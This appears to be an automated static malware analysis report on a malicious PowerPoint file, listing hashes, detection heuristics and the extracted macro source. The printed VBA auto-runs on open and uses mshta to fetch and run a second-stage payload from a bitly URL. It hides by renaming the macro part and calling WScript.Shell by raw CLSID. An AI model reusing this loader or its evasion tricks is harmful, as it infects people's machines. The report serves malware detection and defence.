Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 34f1c88f96be05aa…

MALICIOUS

Office (OOXML)

8.7 KB First seen: 2021-06-13
MD5: 9fe47224348826078d662e161f2d38f7 SHA-1: 7f40018c9a4f292e873e724c950af6b17fc888d0 SHA-256: 34f1c88f96be05aa777fa3348631784be4a679334179bb4ce02ad9adcb201644
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32

The sample contains a VBA macro that is automatically executed upon opening. This macro leverages WScript.Shell to run a command constructed from concatenated strings. The reconstructed command is 'mshta https://1230948%1230948@bitly.com/skdhikhasd', which indicates the document attempts to download and execute a second-stage payload from the provided URL using mshta.exe.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/eiu.bin)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        Case 1
        getEnumName = "mshta "
    Case 2
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://1230948%1230948@bitly.com/skdhikhasd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 999 bytes
SHA-256: 064345f3fee201f93e69ffe1658ae4173a655c33d232bbff931b6e55a9c8a911
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Enum myenum

    myname1 = 1
    myname2 = 2
    myname3 = 3
    myname4 = 4
    
    End Enum
    
Public Function getEnumName(eValue As myenum)
Select Case eValue
    Case 1
        getEnumName = "mshta "
    Case 2
        getEnumName = " https://1230948%1230948@bitly.com/skdhikhasd"
    End Select
End Function


Public Function myvalue()
Set myvalue = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
End Function




Attribute VB_Name = "Module11"
Sub auto_open()

Dim bora As New Class1

Dim NamakBora, lora As String
NamakBora = bora.getEnumName(1)
lora = bora.getEnumName(2)
lora2 = NamakBora + lora


bora. _
myvalue. _
Run lora2

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/eiu.bin 17920 bytes
SHA-256: 2515f38cc35bdbba8a9c05af41e4700db9550bfd0e220f918030efcdcc25a82c

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